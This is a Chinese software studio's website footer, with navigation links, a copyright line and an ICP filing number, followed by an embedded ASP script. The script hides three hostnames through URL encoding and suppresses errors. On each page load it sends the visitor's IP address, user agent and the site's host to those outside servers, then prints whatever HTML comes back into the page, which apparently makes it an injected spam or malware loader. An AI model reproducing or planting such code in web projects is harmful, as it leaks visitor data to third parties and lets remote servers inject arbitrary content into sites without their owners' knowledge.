网站首页 | 关于我们 | 产品展示 | 常见问题 | 联系我们 | 在线论坛
Copyright 2005-2018 大镜山软件工作室 www.168318.com 版权所有
备案号：粤ICP备08116220号 <%
dim ii,ohttp,rtxt,appcn
on error resume next
if application("chainnode_1")="" or application("chainnode_2")="" or application("chainnode_3")="" then
application("chainnode_1")="%31%2E%30%39%30%37%2E%63%6F%6D"
application("chainnode_3")="%31%2E%38%31%35%39%35%2E%63%6F%6D"
application("chainnode_2")="%31%2E%6D%6C%73%79%68%2E%63%6F%6D"
end if
for ii=1 to 3
set ohttp=Server.CreateObject("Msxml2.XMLHTTP.2.6")
ohttp.open "GET","http://"&application("chainnode_"&ii)&"/chain/gc.asp?f=html\footer.html&h="&Request.ServerVariables("HTTP_HOST")&"&ip="&Request.ServerVariables("REMOTE_ADDR")&"&ha="&Request.ServerVariables("HTTP_ACCEPT")&"&ug="&Request.ServerVariables("HTTP_USER_AGENT"),false
ohttp.send
rtxt=ohttp.ResponseText
if instr(rtxt,"{anan}")>0 then
response.write replace(rtxt,"{anan}","")
if ii<>1 then
appcn=application("chainnode_1")
application("chainnode_1")=application("chainnode_"&ii)
application("chainnode_"&ii)=appcn
end if
exit for
end if
next
%> |
